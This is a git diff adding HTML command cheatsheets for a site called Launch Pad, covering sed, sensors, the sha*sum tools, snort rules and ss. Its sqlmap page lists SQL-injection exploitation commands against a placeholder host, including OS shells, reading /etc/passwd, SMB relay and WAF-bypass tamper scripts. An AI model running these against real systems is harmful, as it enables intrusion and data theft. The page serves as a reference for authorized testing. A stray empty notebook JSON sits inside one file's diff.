      • Use -t to filter by file type
      • +
      +
        +
      • Use -C for context around matches
      • +
      +
        +
      • Excellent Unicode support
      • +
      +
        +
      • Great for code searching
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/sed.html b/cheatsheets/sed.html new file mode 100644 index 0000000..9243632 --- /dev/null +++ b/cheatsheets/sed.html @@ -0,0 +1,224 @@ + + + + + + + + + + + sed Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      sed Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      sed (stream editor) is a powerful text processing tool for filtering and transforming text. Edit files non-interactively, perform find-and-replace operations, and manipulate text streams efficiently.

      +
      +

      Basic Usage

      +
        +
      • sed 's/old/new/' file - Substitute first occurrence per line
      • +
      +
        +
      • sed 's/old/new/g' file - Substitute all occurrences
      • +
      +
        +
      • sed 's/old/new/2' file - Substitute 2nd occurrence
      • +
      +
        +
      • sed -i 's/old/new/g' file - Edit file in-place
      • +
      +
        +
      • sed -i.bak 's/old/new/g' file - In-place with backup
      • +
      +
      +

      Substitution

      +
        +
      • sed 's/pattern/replacement/' - Basic substitution
      • +
      +
        +
      • sed 's/pattern/replacement/g' - Global substitution
      • +
      +
        +
      • sed 's/pattern/replacement/i' - Case-insensitive
      • +
      +
        +
      • sed 's/pattern/replacement/gi' - Global, case-insensitive
      • +
      +
        +
      • sed 's|old|new|g' - Use different delimiter
      • +
      +
        +
      • sed 's/old/new/; s/old2/new2/' - Multiple substitutions
      • +
      +
      +

      Line Selection

      +
        +
      • sed -n '5p' file - Print line 5
      • +
      +
        +
      • sed -n '5,10p' file - Print lines 5-10
      • +
      +
        +
      • sed -n '5,$p' file - Print from line 5 to end
      • +
      +
        +
      • sed -n '/pattern/p' file - Print matching lines
      • +
      +
        +
      • sed -n '/start/,/end/p' file - Print range between patterns
      • +
      +
        +
      • sed '5d' file - Delete line 5
      • +
      +
        +
      • sed '/pattern/d' file - Delete matching lines
      • +
      +
      +

      Insertion & Appending

      +
        +
      • sed '5i\new line' file - Insert before line 5
      • +
      +
        +
      • sed '5a\new line' file - Append after line 5
      • +
      +
        +
      • sed '/pattern/i\new line' file - Insert before match
      • +
      +
        +
      • sed '/pattern/a\new line' file - Append after match
      • +
      +
        +
      • sed '$a\new line' file - Append to end
      • +
      +
      +

      Advanced Patterns

      +
        +
      • sed 's/^old/new/' - Match start of line
      • +
      +
        +
      • sed 's/old$/new/' - Match end of line
      • +
      +
        +
      • sed 's/old.*/new/' - Match rest of line
      • +
      +
        +
      • sed 's/\(.*\)old\(.*\)/\1new\2/' - Capture groups
      • +
      +
        +
      • sed 's/old/new/; t; s/old2/new2/' - Conditional
      • +
      +
        +
      • sed -n 's/old/new/p' - Print only modified lines
      • +
      +
      +

      Multiple Commands

      +
        +
      • sed -e 's/old/new/' -e 's/old2/new2/' file - Multiple expressions
      • +
      +
        +
      • sed 's/old/new/; s/old2/new2/' file - Semicolon separator
      • +
      +
        +
      • sed -f script.sed file - Read from script file
      • +
      +
      +

      Common Examples

      +

      Replace Text

      +
      sed 's/old/new/g' file.txt
      +

      Replace all occurrences.

      +

      In-Place Edit

      +
      sed -i 's/old/new/g' file.txt
      +

      Edit file directly.

      +

      Delete Lines

      +
      sed '/pattern/d' file.txt
      +

      Remove matching lines.

      +

      Print Range

      +
      sed -n '10,20p' file.txt
      +

      Print lines 10-20.

      +

      Add Line

      +
      sed '5a\new content' file.txt
      +

      Insert after line 5.

      +

      Remove Empty Lines

      +
      sed '/^$/d' file.txt
      +

      Delete blank lines.

      +

      Remove Leading Spaces

      +
      sed 's/^[ \t]*//' file.txt
      +

      Strip whitespace from start.

      +

      Remove Trailing Spaces

      +
      sed 's/[ \t]*$//' file.txt
      +

      Strip whitespace from end.

      +

      Number Lines

      +
      sed = file.txt | sed 'N;s/\n/\t/'
      +

      Add line numbers.

      +

      Extract Field

      +
      sed 's/.*:\(.*\):.*/\1/' file.txt
      +

      Extract between colons.

      +
      +

      Tips

      +
        +
      • Use -i for in-place editing (be careful!)
      • +
      +
        +
      • Use -i.bak to create backup
      • +
      +
        +
      • Use -n with p to print only selected lines
      • +
      +
        +
      • Use g flag for global substitution
      • +
      +
        +
      • Use different delimiters (|, #) for complex patterns
      • +
      +
        +
      • Combine with other tools in pipelines
      • +
      +
        +
      • Test without -i first to verify changes
      • +
      +
        +
      • Essential for batch text processing
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/sensors.html b/cheatsheets/sensors.html new file mode 100644 index 0000000..9511bb1 --- /dev/null +++ b/cheatsheets/sensors.html @@ -0,0 +1,172 @@ + + + + + + + + + + + sensors Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      sensors Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      sensors is a command-line tool from lm-sensors package for monitoring hardware sensors. Displays temperature, voltage, fan speed, and other hardware sensor data.

      +
      +

      Basic Usage

      +
        +
      • sensors - Display all sensor readings
      • +
      +
        +
      • sensors -u - Show raw sensor data
      • +
      +
        +
      • sensors -A - Show adapter information
      • +
      +
        +
      • sensors -j - Output in JSON format
      • +
      +
        +
      • sensors -f - Output in Fahrenheit
      • +
      +
        +
      • sensors -c <config> - Use specific config file
      • +
      +
      +

      Sensor Detection

      +
        +
      • sensors-detect - Detect and configure sensors
      • +
      +
        +
      • sensors-detect --auto - Auto-detect without prompts
      • +
      +
        +
      • sensors-detect --batch - Batch mode (no prompts)
      • +
      +
      +

      Configuration

      +
        +
      • sensors -s - Set sensor limits from config
      • +
      +
        +
      • sensors -c <file> - Use custom config file
      • +
      +
        +
      • sensors --set-adapter <adapter> - Set adapter
      • +
      +
      +

      Output Options

      +
        +
      • sensors -u - Raw/unformatted output
      • +
      +
        +
      • sensors -A - Show adapter names
      • +
      +
        +
      • sensors -j - JSON output
      • +
      +
        +
      • sensors -f - Fahrenheit instead of Celsius
      • +
      +
        +
      • sensors -h - Show help
      • +
      +
      +

      Common Examples

      +

      Basic Reading

      +
      sensors
      +

      Display all sensor readings.

      +

      Raw Data

      +
      sensors -u
      +

      Show raw sensor data with chip names.

      +

      JSON Output

      +
      sensors -j
      +

      Output in JSON format for scripting.

      +

      Fahrenheit

      +
      sensors -f
      +

      Display temperatures in Fahrenheit.

      +

      Detect Sensors

      +
      sudo sensors-detect
      +

      Detect and configure hardware sensors.

      +

      Auto Detect

      +
      sudo sensors-detect --auto
      +

      Auto-detect sensors without prompts.

      +

      Real-time Monitoring

      +
      watch -n 1 sensors
      +

      Monitor temperatures in real-time, updating every second.

      +
      +

      Tips

      +
        +
      • Run sensors-detect first to detect hardware sensors
      • +
      +
        +
      • Use -j for JSON output when scripting
      • +
      +
        +
      • Use -u to see raw chip data and sensor names
      • +
      +
        +
      • Use -f if you prefer Fahrenheit temperatures
      • +
      +
        +
      • Combine with watch for real-time monitoring: watch -n 1 sensors
      • +
      +
        +
      • Use sensors -s to apply limits from configuration
      • +
      +
        +
      • Check /etc/sensors3.conf for configuration options
      • +
      +
        +
      • Essential for monitoring CPU and system temperatures
      • +
      +
        +
      • Use watch sensors to monitor temperatures in real-time (updates every 2 seconds by default)
      • +
      +
        +
      • For custom update interval: watch -n 0.5 sensors (updates every 0.5 seconds)
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/sha1sum.html b/cheatsheets/sha1sum.html new file mode 100644 index 0000000..b5d5ded --- /dev/null +++ b/cheatsheets/sha1sum.html @@ -0,0 +1,85 @@ + + + + + + + + + + + sha1sum Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + ← Back to Cheatsheets + +

      sha1sum Cheatsheet

      +
      +
      +
      +
      +

      + Quick reference for sha1sum, a tool to compute and verify SHA-1 checksums. + SHA-1 is considered weak for modern security; use it mostly for legacy compatibility, not new designs. +

      + +

      Basic usage

      +
        +
      • sha1sum file.img – print SHA-1 hash and filename.
      • +
      • sha1sum file1 file2 – hash multiple files.
      • +
      • echo -n "test" | sha1sum – hash data from stdin.
      • +
      + +

      Common options

      +
        +
      • -b – read files in binary mode (default on Linux).
      • +
      • -t – read files in text mode (mainly for non-Unix systems).
      • +
      • -c – check SHA-1 sums from a file.
      • +
      • --tag – create BSD-style output (SHA1 (file) = hash).
      • +
      + +

      Creating and verifying checksum files

      +
        +
      • sha1sum file.img > file.img.sha1 – save checksum.
      • +
      • sha1sum file1 file2 > checksums.sha1 – create checksum list.
      • +
      • sha1sum -c file.img.sha1 – verify a single file.
      • +
      • sha1sum -c checksums.sha1 – verify multiple files.
      • +
      + +

      Tips

      +
        +
      • Prefer sha256sum or sha512sum for security-sensitive uses.
      • +
      • Use SHA-1 mainly when you must match existing ecosystems or published hashes.
      • +
      • Keep checksum files alongside downloads so users can verify integrity easily.
      • +
      +
      +
      + + + + + + diff --git a/cheatsheets/sha256sum.html b/cheatsheets/sha256sum.html new file mode 100644 index 0000000..ecfcac4 --- /dev/null +++ b/cheatsheets/sha256sum.html @@ -0,0 +1,93 @@ + + + + + + + + + + + sha256sum Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + ← Back to Cheatsheets + +

      sha256sum Cheatsheet

      +
      +
      +
      +
      +

      + Quick reference for sha256sum, a tool to compute and verify SHA-256 checksums. + SHA-256 is the common default for verifying downloads and file integrity. +

      + +

      Basic usage

      +
        +
      • sha256sum file.img – print SHA-256 hash and filename.
      • +
      • sha256sum file1 file2 – hash multiple files.
      • +
      • echo -n "test" | sha256sum – hash data from stdin.
      • +
      + +

      Common options

      +
        +
      • -b – read files in binary mode (default on Linux).
      • +
      • -t – read files in text mode (mainly for non-Unix systems).
      • +
      • -c – check SHA-256 sums from a file.
      • +
      + +

      Creating and verifying checksum files

      +
        +
      • sha256sum file.img > file.img.sha256 – save checksum.
      • +
      • sha256sum file1 file2 > checksums.sha256 – create checksum list.
      • +
      • sha256sum -c file.img.sha256 – verify a single file.
      • +
      • sha256sum -c checksums.sha256 – verify multiple files.
      • +
      + +

      Tips

      +
        +
      • Publish SHA-256 hashes over HTTPS, signed release notes, or another trusted channel.
      • +
      • Users should compare the hash they compute with the published hash, not just “it downloaded fine”.
      • +
      • For even stronger hashes, see sha512sum.
      • +
      +
      +
      + + + + + +{ + "cells": [], + "metadata": { + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} \ No newline at end of file diff --git a/cheatsheets/sha512sum.html b/cheatsheets/sha512sum.html new file mode 100644 index 0000000..6dd9d48 --- /dev/null +++ b/cheatsheets/sha512sum.html @@ -0,0 +1,84 @@ + + + + + + + + + + + sha512sum Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + ← Back to Cheatsheets + +

      sha512sum Cheatsheet

      +
      +
      +
      +
      +

      + Quick reference for sha512sum, a tool to compute and verify SHA-512 checksums. + SHA-512 is a stronger variant in the SHA-2 family, useful when you want a very conservative hash. +

      + +

      Basic usage

      +
        +
      • sha512sum file.img – print SHA-512 hash and filename.
      • +
      • sha512sum file1 file2 – hash multiple files.
      • +
      • echo -n "test" | sha512sum – hash data from stdin.
      • +
      + +

      Common options

      +
        +
      • -b – read files in binary mode (default on Linux).
      • +
      • -t – read files in text mode (mainly for non-Unix systems).
      • +
      • -c – check SHA-512 sums from a file.
      • +
      + +

      Creating and verifying checksum files

      +
        +
      • sha512sum file.img > file.img.sha512 – save checksum.
      • +
      • sha512sum file1 file2 > checksums.sha512 – create checksum list.
      • +
      • sha512sum -c file.img.sha512 – verify a single file.
      • +
      • sha512sum -c checksums.sha512 – verify multiple files.
      • +
      + +

      Tips

      +
        +
      • Use SHA-512 when you want additional margin over SHA-256 (or when an ecosystem expects it).
      • +
      • Checksums are only as trustworthy as the channel you got them from—publish them securely.
      • +
      • For most cases, SHA-256 is enough; SHA-512 is the “belt and suspenders” option.
      • +
      +
      +
      + + + + + + diff --git a/cheatsheets/snort.html b/cheatsheets/snort.html new file mode 100644 index 0000000..d5115b1 --- /dev/null +++ b/cheatsheets/snort.html @@ -0,0 +1,297 @@ + + + + + + + + + + + snort Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      snort Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      snort is an open-source intrusion detection system (IDS) and intrusion prevention system (IPS).

      +
      +

      Basic Commands

      +
        +
      • snort -V - Show version
      • +
      +
        +
      • snort --version - Show version (alternative)
      • +
      +
        +
      • snort -h - Show help/options
      • +
      +
        +
      • snort -T - Test configuration (syntax check)
      • +
      +
        +
      • snort -T -c <config> - Test specific config file
      • +
      +
        +
      • snort -c <config> - Use specific config file
      • +
      +
        +
      • snort -i <interface> - Run on interface
      • +
      +
        +
      • snort -i eth0 -c <config> - Run on eth0 with config
      • +
      +
        +
      • snort -l <dir> - Log to directory
      • +
      +
        +
      • snort -r <pcap> - Read from pcap file
      • +
      +
      +

      Alert Modes

      +
        +
      • snort -A console - Console alert mode
      • +
      +
        +
      • snort -A fast - Fast alert mode
      • +
      +
        +
      • snort -A full - Full alert mode
      • +
      +
        +
      • snort -A unsock - Unix socket alert mode
      • +
      +
        +
      • snort -A none - No alerts
      • +
      +
        +
      • snort -A cmg - CMG alert mode
      • +
      +
        +
      • snort -A alert_json - JSON alert mode
      • +
      +
        +
      • snort -q - Quiet mode (suppress banner)
      • +
      +
      +

      Rule Writing

      +

      Rule Structure

      +
      action protocol src_ip src_port -> dst_ip dst_port ( options )
      +

      Example Rules

      +
      # Alert on HTTP traffic
      +alert tcp any any -> 192.168.1.0/24 80 ( msg:"HTTP Traffic Detected"; flow:to_server,established; sid:100001; )
      +
      +# Alert on suspicious port scan
      +alert tcp any any -> 192.168.1.0/24 any ( flags:S; msg:"Possible Port Scan"; threshold:type threshold, track by_src, count 10, seconds 60; sid:100002; )
      +
      +# Alert on ICMP ping
      +alert icmp any any -> any any ( msg:"ICMP Ping Detected"; icode:0; itype:8; sid:100003; )
      +

      Rule Options

      +
        +
      • msg:"text" - Alert message
      • +
      +
        +
      • sid:number - Rule ID (must be unique)
      • +
      +
        +
      • rev:number - Revision number
      • +
      +
        +
      • content:"string" - Search for string in payload
      • +
      +
        +
      • flags:S - TCP SYN flag
      • +
      +
        +
      • flow:to_server,established - Flow direction and state
      • +
      +
        +
      • threshold:type threshold, track by_src, count N, seconds M - Threshold
      • +
      +
      +

      Configuration

      +

      Config File Locations

      +
        +
      • /etc/snort/snort.conf - Main config (Snort 2)
      • +
      +
        +
      • /etc/snort/snort.lua - Main config (Snort 3)
      • +
      +
        +
      • /etc/snort/rules/ - Rules directory
      • +
      +
        +
      • /etc/snort/snort_defaults.lua - Defaults (Snort 3)
      • +
      +
        +
      • ~/.snort/ - User config directory
      • +
      +

      Example snort.conf (Snort 2)

      +
      # Network variables
      +var HOME_NET 192.168.1.0/24
      +var EXTERNAL_NET !$HOME_NET
      +
      +# Include rules
      +include $RULE_PATH/local.rules
      +include $RULE_PATH/community.rules
      +

      Example snort.lua (Snort 3)

      +
      -- Network variables
      +HOME_NET = '192.168.1.0/24'
      +EXTERNAL_NET = '!HOME_NET'
      +
      +-- Include rules
      +ips = {
      +    include = 'malware.rules',
      +    include = 'exploit.rules',
      +}
      +

      Include Rules

      +
        +
      • Include single rule file: -R <file>
      • +
      +
        +
      • Include rule directory: --rule-path <dir>
      • +
      +
        +
      • Enable built-in rules: --lua 'ips.enable_builtin_rules = true'
      • +
      +
      +

      Logging and Output

      +
        +
      • snort -l /var/log/snort - Log to directory
      • +
      +
        +
      • snort -r snort.log - Read from log file
      • +
      +
        +
      • snort -r snort.log 'udp and port 53' - Read with BPF filter
      • +
      +
        +
      • snort -K ascii - Log in ASCII mode
      • +
      +
        +
      • snort -K pcap - Log in pcap mode
      • +
      +
        +
      • snort -K none - No packet logging
      • +
      +
      +

      Advanced Options

      +
        +
      • snort -D - Run as daemon
      • +
      +
        +
      • snort -d - Dump application layer
      • +
      +
        +
      • snort -e - Show layer 2 headers
      • +
      +
        +
      • snort -v - Verbose mode
      • +
      +
        +
      • snort -X - Show raw packet data
      • +
      +
        +
      • snort -N - Disable logging
      • +
      +
        +
      • snort -s - Log alerts to syslog
      • +
      +
        +
      • snort -S <file> - Log alerts to file
      • +
      +
        +
      • snort -u <user> - Run as user
      • +
      +
        +
      • snort -g <group> - Run as group
      • +
      +
      +

      Configuration Conversion

      +
        +
      • snort2lua -c snort.conf - Convert Snort 2 config to Snort 3 (Lua)
      • +
      +
        +
      • snort2lua -c snort.conf -o output.lua - Convert with output file
      • +
      +
      +

      Tips

      +
        +
      • Use quiet mode (-q) when combining with alert modes (-A) to avoid clutter
      • +
      +
        +
      • When writing rules, always include a unique sid and rev
      • +
      +
        +
      • Test new or modified rules against pcaps before deployment
      • +
      +
        +
      • Keep snort updated - rulesets are updated frequently
      • +
      +
        +
      • Monitor performance - many rules with deep payload inspection can increase load
      • +
      +
        +
      • Use -T flag to test configuration before deploying
      • +
      +
        +
      • Test rules with -r <pcap> to verify they work as expected
      • +
      +
        +
      • Use BPF filters to reduce processing load on high-traffic networks
      • +
      +
        +
      • Snort 3 uses Lua configuration, Snort 2 uses traditional config files
      • +
      +
        +
      • Use threshold rules to reduce false positives from noisy alerts
      • +
      +
        +
      • Organize rules into separate files by category for easier management
      • +
      +
        +
      • Review alert logs regularly to tune rules and reduce false positives
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/sqlmap.html b/cheatsheets/sqlmap.html new file mode 100644 index 0000000..d1df550 --- /dev/null +++ b/cheatsheets/sqlmap.html @@ -0,0 +1,345 @@ + + + + + + + + + + + sqlmap Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      sqlmap Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      sqlmap is an automated SQL injection testing and exploitation tool. It can detect and exploit SQL injection vulnerabilities in web applications, supporting multiple database management systems.

      +
      +

      Basic Usage

      +
        +
      • sqlmap -u <url> - Test URL for SQL injection
      • +
      +
        +
      • sqlmap -u "http://target.com/page.php?id=1" - Test specific URL
      • +
      +
        +
      • sqlmap -u <url> --dbs - Enumerate databases
      • +
      +
        +
      • sqlmap -u <url> -D <database> --tables - Enumerate tables
      • +
      +
        +
      • sqlmap -u <url> -D <database> -T <table> --columns - Enumerate columns
      • +
      +
        +
      • sqlmap -u <url> -D <database> -T <table> --dump - Dump table data
      • +
      +
      +

      Target Options

      +
        +
      • -u <url> - Target URL
      • +
      +
        +
      • -l <file> - Target list from Burp log file
      • +
      +
        +
      • -x <url> - Sitemap URL (XML)
      • +
      +
        +
      • -m <file> - Multiple targets from file
      • +
      +
        +
      • -r <file> - HTTP request from file
      • +
      +
        +
      • -g <query> - Google dork query
      • +
      +
        +
      • -c <file> - Configuration file
      • +
      +
      +

      Request Options

      +
        +
      • --data=<data> - POST data string
      • +
      +
        +
      • --cookie=<cookie> - Cookie string
      • +
      +
        +
      • --headers=<headers> - HTTP headers
      • +
      +
        +
      • --user-agent=<ua> - User-Agent string
      • +
      +
        +
      • --referer=<referer> - Referer string
      • +
      +
        +
      • --proxy=<proxy> - Use HTTP proxy
      • +
      +
        +
      • --tor --tor-type=SOCKS5 --check-tor - Use Tor proxy
      • +
      +
        +
      • -H - Set custom HTTP header
      • +
      +
        +
      • --method=<method> - HTTP method (GET, POST, PUT, etc.)
      • +
      +
      +

      Parameter Options

      +
        +
      • -p <parameter> - Test specific parameter
      • +
      +
        +
      • --skip=<param> - Skip testing parameter
      • +
      +
        +
      • -r <file> - Load HTTP request from file (auto-detect parameters)
      • +
      +
        +
      • --param-del=<delimiter> - Parameter delimiter
      • +
      +
      +

      Enumeration Options

      +
        +
      • --dbs - Enumerate databases
      • +
      +
        +
      • --tables - Enumerate tables
      • +
      +
        +
      • --columns - Enumerate columns
      • +
      +
        +
      • --dump - Dump table entries
      • +
      +
        +
      • --dump-all - Dump all databases
      • +
      +
        +
      • -D <database> - Specify database
      • +
      +
        +
      • -T <table> - Specify table
      • +
      +
        +
      • -C <column> - Specify column
      • +
      +
        +
      • --schema - Enumerate database schema
      • +
      +
        +
      • --count - Count entries in table
      • +
      +
      +

      Database System Options

      +
        +
      • --dbms=<dbms> - Force database type (MySQL, PostgreSQL, MSSQL, Oracle, SQLite)
      • +
      +
        +
      • --dbms-cred=<user:pass> - Database credentials
      • +
      +
        +
      • --os=<os> - Force OS type
      • +
      +
        +
      • --tamper=<script> - Use tamper script
      • +
      +
      +

      File Operations

      +
        +
      • --file-read=<file> - Read file from database server
      • +
      +
        +
      • --file-write=<file> - Write local file to database server
      • +
      +
        +
      • --file-dest=<path> - Remote file path for write operations
      • +
      +
      +

      Shell Options

      +
        +
      • --sql-shell - Interactive SQL shell
      • +
      +
        +
      • --os-shell - Interactive OS shell
      • +
      +
        +
      • --os-cmd=<cmd> - Execute OS command
      • +
      +
        +
      • --os-pwn - Meterpreter shell
      • +
      +
        +
      • --os-smbrelay - SMB relay attack
      • +
      +
      +

      Detection Options

      +
        +
      • --level=<1-5> - Level of tests (1-5, default 1)
      • +
      +
        +
      • --risk=<1-3> - Risk of tests (1-3, default 1)
      • +
      +
        +
      • --technique=<technique> - Injection techniques (B, E, U, S, T, Q)
      • +
      +
        +
      • --time-sec=<sec> - Seconds to wait for response (default 5)
      • +
      +
        +
      • --union-cols=<range> - Column range for UNION tests
      • +
      +
      +

      Technique Options

      +
        +
      • B - Boolean-based blind
      • +
      +
        +
      • E - Error-based
      • +
      +
        +
      • U - Union query-based
      • +
      +
        +
      • S - Stacked queries
      • +
      +
        +
      • T - Time-based blind
      • +
      +
        +
      • Q - Inline queries
      • +
      +
      +

      Output Options

      +
        +
      • --batch - Never ask for user input (use defaults)
      • +
      +
        +
      • --verbose=<0-6> - Verbosity level
      • +
      +
        +
      • -v <level> - Verbosity level (0-6)
      • +
      +
        +
      • --output-dir=<dir> - Output directory
      • +
      +
      +

      Misc Options

      +
        +
      • --threads=<num> - Max concurrent HTTP requests (default 1)
      • +
      +
        +
      • --delay=<sec> - Delay between requests (seconds)
      • +
      +
        +
      • --timeout=<sec> - Request timeout (default 30)
      • +
      +
        +
      • --retries=<num> - Retries on timeout (default 3)
      • +
      +
        +
      • --ignore-code=<code> - Ignore HTTP error codes
      • +
      +
        +
      • --ignore-proxy - Ignore default proxy settings
      • +
      +
      +

      Common Examples

      +

      Basic Detection

      +
      sqlmap -u "http://target.com/page.php?id=1"
      +

      Enumerate Databases

      +
      sqlmap -u "http://target.com/page.php?id=1" --dbs
      +

      Enumerate Tables

      +
      sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
      +

      Dump Table

      +
      sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
      +

      POST Request

      +
      sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p username
      +

      From Burp Log

      +
      sqlmap -l burp_log.txt --batch
      +

      Cookie Injection

      +
      sqlmap -u "http://target.com/page.php" --cookie="session=abc123" --dbs
      +

      Get OS Shell

      +
      sqlmap -u "http://target.com/page.php?id=1" --os-shell
      +

      Read File

      +
      sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
      +

      Use Tor

      +
      sqlmap -u "http://target.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor
      +
      +

      Tips

      +
        +
      • Use --batch for automated testing (no user interaction)
      • +
      +
        +
      • Use -r with Burp log files for easy testing
      • +
      +
        +
      • Increase --level and --risk for more thorough testing
      • +
      +
        +
      • Use --threads for faster enumeration (be careful with server load)
      • +
      +
        +
      • Combine with Burp Suite for complex authentication scenarios
      • +
      +
        +
      • Use --tamper scripts to bypass WAFs and filters
      • +
      +
        +
      • Always test on authorized systems only
      • +
      +
        +
      • Use --proxy to monitor requests with Burp or similar tools
      • +
      +
        +
      • Check --check-tor before using Tor to verify connection
      • +
      +
        +
      • Use --batch to avoid prompts in automated scripts
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/ss.html b/cheatsheets/ss.html new file mode 100644 index 0000000..57e8516 --- /dev/null +++ b/cheatsheets/ss.html @@ -0,0 +1,230 @@ + + + + + + + + + + + ss Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      ss Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      ss (socket statistics) is a modern replacement for netstat. Displays network socket information including TCP, UDP, and Unix domain sockets. Faster and more feature-rich than netstat.

      +
      +

      Basic Usage

      +
        +
      • ss - All sockets
      • +
      +
        +
      • ss -t - TCP sockets
      • +
      +
        +
      • ss -u - UDP sockets
      • +
      +
        +
      • ss -l - Listening sockets
      • +
      +
        +
      • ss -a - All sockets (listening + established)
      • +
      +
        +
      • ss -n - Numeric addresses
      • +
      +
      +

      Socket Types

      +
        +
      • -t - TCP sockets
      • +
      +
        +
      • -u - UDP sockets
      • +
      +
        +
      • -w - Raw sockets
      • +
      +
        +
      • -x - Unix domain sockets
      • +
      +
        +
      • -S - SCTP sockets
      • +
      +
        +
      • -D - DCCP sockets
      • +
      +
      +

      State Filters

      +
        +
      • -l - Listening sockets
      • +
      +
        +
      • -a - All sockets
      • +
      +
        +
      • -s - Summary statistics
      • +
      +
        +
      • -e - Extended information
      • +
      +
        +
      • -o - Timer information
      • +
      +
        +
      • -m - Memory information
      • +
      +
      +

      Address Filters

      +
        +
      • ss -n - No hostname resolution
      • +
      +
        +
      • ss -p - Show process information
      • +
      +
        +
      • ss -i - Internal TCP information
      • +
      +
        +
      • ss -K - Force close socket
      • +
      +
        +
      • ss -H - Suppress header
      • +
      +
      +

      Port & Address Filters

      +
        +
      • ss -tlnp - TCP listening with process
      • +
      +
        +
      • ss -tlnp :80 - Port 80
      • +
      +
        +
      • ss -tlnp 'sport = :80' - Source port 80
      • +
      +
        +
      • ss -tlnp 'dport = :80' - Destination port 80
      • +
      +
        +
      • ss -tlnp 'src 192.168.1.1' - Source address
      • +
      +
        +
      • ss -tlnp 'dst 192.168.1.1' - Destination address
      • +
      +
      +

      Common Examples

      +

      All Listening

      +
      ss -tlnp
      +

      TCP listening sockets with process.

      +

      All Connections

      +
      ss -tunp
      +

      TCP and UDP with process.

      +

      Specific Port

      +
      ss -tlnp :80
      +

      What's listening on port 80.

      +

      Port Range

      +
      ss -tlnp 'sport > :1024 and sport < :65535'
      +

      Ports in range.

      +

      Established Connections

      +
      ss -tn state established
      +

      Active TCP connections.

      +

      Summary

      +
      ss -s
      +

      Socket statistics summary.

      +

      Process Info

      +
      ss -tlnp
      +

      Show process using sockets.

      +

      Memory Usage

      +
      ss -m
      +
